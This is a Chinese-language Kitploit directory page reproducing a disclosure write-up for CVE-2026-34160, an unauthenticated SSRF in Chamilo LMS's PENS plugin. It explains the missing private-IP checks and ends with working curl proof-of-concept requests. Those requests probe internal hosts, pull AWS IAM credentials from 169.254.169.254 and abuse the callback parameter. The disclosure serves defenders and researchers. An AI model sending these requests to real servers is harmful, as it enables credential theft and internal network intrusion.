Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-34160 — 未认证的 Chamilo LMS SSRF 漏洞,通过 PENS 插件(pens.php)触发 — CVSS 7.5 | Kitploit
工具/GitHubGitHub/romain-deperne/cve-2026-34160
侦察漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubromain-deperne/cve-2026-34160

CVE-2026-34160

未认证的 Chamilo LMS SSRF 漏洞,通过 PENS 插件(pens.php)触发 — CVSS 7.5

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-34160 — Chamilo LMS 中通过 PENS 插件(pens.php)实现未认证 SSRF

严重性:高(CVSS 7.5) CWE:CWE-918(服务端请求伪造) 受影响版本:chamilo/chamilo-lms 2.x(提交 af6b7002 及更早版本) 安全公告:GHSA-g2xj-4cch-j276 NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-34160

摘要

PENS(包交换通知服务)插件端点 public/plugin/Pens/pens.php 无需认证即可访问,并接受用户控制的 URL 用于包下载和回调通知。URL 验证函数检查了协议方案和主机是否存在,但未进行任何私网 IP 过滤,从而允许未认证的 SSRF 攻击进入内部网络和云元数据服务。

发现过程

在发现 Chamilo 的 install.ajax.php 中的 CVE-2026-33715 之后,我继续审计代码库,寻找其他具有网络副作用且无需认证的端点。PENS 插件(public/plugin/Pens/)引起了我的注意:PENS 是一种传统的电子学习内容交付协议,涉及从外部 URL 获取包并向外部服务器发送回调——这两者都是典型的 SSRF 攻击面。

我阅读了 PensProcessor.php,查找 URL 验证逻辑。isAllowedDownloadUrl() 和 isAllowedCallbackUrl() 都检查协议方案(http/https)和主机是否非空——然后就结束了。没有 RFC 1918 过滤,没有回环地址检查,没有链路本地地址检查。注释甚至在主机检查后写着"返回 true",这明显表明该代码在编写时没有考虑 SSRF 防护。

与之前 Chamilo CVE 的区别在于:它存在两个独立的 SSRF 向量——一个用于包获取(服务器从攻击者控制的 URL 拉取文件),另一个用于回调(服务器向攻击者控制的端点发送 POST 请求)。回调向量对于窃取内部服务响应特别有用,因为服务器会将 PENS 状态数据 POST 到你指定的任何 URL,而你可以控制响应解析。

在云部署环境中,169.254.169.254 元数据端点可通过两个向量访问。

受影响组件

文件:public/plugin/Pens/lib/PensProcessor.php

两个不同的 SSRF 向量:

向量 1 — 包 URL 获取(第 376、138 行):

root@kitploit:~
private function isAllowedDownloadUrl(string $url): bool
{
    $parts = parse_url($url);
    $scheme = strtolower((string) ($parts['scheme'] ?? ''));
    if (!in_array($scheme, ['http', 'https'], true)) { return false; }
    $host = strtolower((string) ($parts['host'] ?? ''));
    if ('' === $host) { return false; }
    return true;  // ← 无私网 IP 检查
}

// 然后通过 curl 获取:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);

向量 2 — 回调 SSRF(第 318 行):receipt 和 alerts 参数指定了服务器发送 POST 回调的 URL——同样缺少验证。

根本原因

isAllowedDownloadUrl() 和 isAllowedCallbackUrl() 仅验证 URL 具有 http/https 协议方案且主机非空。RFC 1918 私网范围(10.x、172.16.x、192.168.x)、回环地址(127.x)、链路本地地址(169.254.x——云元数据)以及 IPv6 等效地址均被接受。

PoC

root@kitploit:~
# 向量 1:通过包 URL 探测内部网络
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://192.168.1.1:80/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test-123" \
  -d "client=test" \
  -d "system-user=test"

# AWS 元数据端点
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

# 向量 2:回调 SSRF — 服务器向攻击者控制的内部端点发送 POST 请求
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://example.com/legit.zip" \
  -d "receipt=http://10.0.0.50:8080/internal-endpoint" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

影响

  1. SSRF 到内部网络 — 未认证探测内部主机和服务
  2. 云元数据窃取 — 在 AWS/GCP/Azure 部署中,通过 169.254.169.254 获取 IAM 凭据
  3. 回调 SSRF — 强制服务器向任意内部端点发送 POST 请求

注意:这与 CVE-2022-27426(社交/链接工具中的 SSRF)不同——不同的代码路径、不同的插件、未认证。

时间线

  • 发现日期:2026-03-22
  • 报告日期:GHSA-g2xj-4cch-j276(私有安全公告)
  • CVE 发布:CVE-2026-34160
下载工具